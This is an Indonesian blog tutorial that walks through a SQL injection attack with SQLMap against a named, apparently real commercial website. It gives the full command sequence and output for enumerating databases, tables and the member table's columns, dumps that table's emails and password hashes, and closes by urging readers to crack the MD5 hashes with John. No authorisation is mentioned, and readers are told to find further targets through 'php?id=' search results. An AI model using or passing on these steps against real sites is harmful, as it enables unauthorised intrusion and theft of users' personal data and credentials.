Konsepnya adalah assessment, mapping, lalu auditing. Klasiknya dengan memanfaatkan Mantra untuk menjajal payload database yang kira-kira cocok. Mudahnya dengan menggunakan SQLMap untuk menentukan payload yang bisa digunakan untuk eksploitasi database.
Yang diperlukan:
- SQLMap download di sini.
Lalu "Enter", dan beberapa website dengan embel-embel URL "php?id=" akan tampil. Pilih salah satu kemudian buka websitenya. Tekan CTRL + L lalu CTRL + C, ini berfungsi untuk mengkopi semua isi URL pada address bar. Lanjut, buka terminal, lalu ikuti modul berikut:
root@bt:~# cd /pentest/database/sqlmap/
root@bt:/pentest/database/sqlmap# ./sqlmap.py --help
sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
Usage: python ./sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-d DIRECT Direct connection to the database
-u URL, --url=URL Target url
[snip...]
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
[snip...]
Setelah itu kita dapat mengetahui command dasar untuk menggunakan sqlmap, mulailah bereksplorasi (= Kali ini saya menggunakan website:
http://www.esteler77.com/product.php?subnav=14&subs=18
Lalu saya menggunakan perintah ini untuk mengeksploitasi database website ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" --dbs
Keterangan:
-o untuk mengoptimasi kerja sqlmap
--url adalah target URL yang akan dieksploitasi
--dbs adalah untuk memunculkan nama database yang ada
Berikut hasilnya:
---
Place: GET
Parameter: subnav
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: subnav=17 AND 4747=4747
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: subnav=17 AND SLEEP(5)
---
[21:11:21] [INFO] manual usage of GET payloads requires url encoding
[21:11:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[snip...]
available databases [3]:
[*] admesteler_esteler77
[*] information_schema
[*] test
[21:11:21] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:11:21
Ada 3 database yang ada, yaitu:
[*] admesteler_esteler77
[*] information_schema
[*] test
Lalu untuk melihat tabel dari sebuah database, saya menggunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 --tables
Keterangan:
-D adalah nama database yang akan dienumerasi
--tables adalah opsi untuk menampilkan table pada database yang tadi sudah kita tentukan
Hasilnya:
Database: admesteler_esteler77
[25 tables]
+------------------+
| tblactivemember |
| tbladministrator |
| tblbanner |
| tblconfig |
| tblfranchisee |
| tblimagemenu |
| tblinbox |
| tbllocation |
| tblmailque |
| tblmailsubscribe |
| tblmailtemplate |
| tblmember |
| tblmenu |
| tblmenuwidget |
| tblnews |
| tblnewsletter |
| tbloutlet |
| tblproduct |
| tblpromo |
| tblreport |
| tblstaticpage |
| tblsubject |
| tblupload |
| tblvacancy |
| tblwidget |
+------------------+
[21:15:30] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:15:30
Terlihat ada 25 tabel yang berhasil dienumerasi. Jika kamu mau menampilkan colom pada suatu tabel, maka gunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --columns
Hasilnya:
Database: admesteler_esteler77
Table: tblmember
[11 columns]
+------------+---------------+
| Column | Type |
+------------+---------------+
| address | text |
| banned | tinyint(1) |
| datejoin | int(11) |
| email | varchar(50) |
| gender | enum('M','F') |
| id | int(11) |
| name | varchar(100) |
| newsletter | tiny`nt(1) |
| pass | varchar(33) |
| picurl | varchar(200) |
| point | int(11) |
+------------+---------------+
[21:18:02] [WARNING] HTTP error codes detected during testing:
403 (Forbidden) - 1 times
[21:18:02] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:18:02
Ada sedikit error, tapi tak apa laaah (= Masih ketauan kok nama kolomnya. Liat tuh ada id dan pass! Lalu gimana cara untuk menampilkan data pada suatu tabel beserta kolomnya? Saya menggunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --dump
Keterangan:
--dump untuk mengumpulkan data pada suatu tabel.
Outputnya:
Tuh udah ada password-nya, tinggal siapin dictionary buat crack md5-nya dengan John. Selamat bereksplorasi (=
0 komentar:
Posting Komentar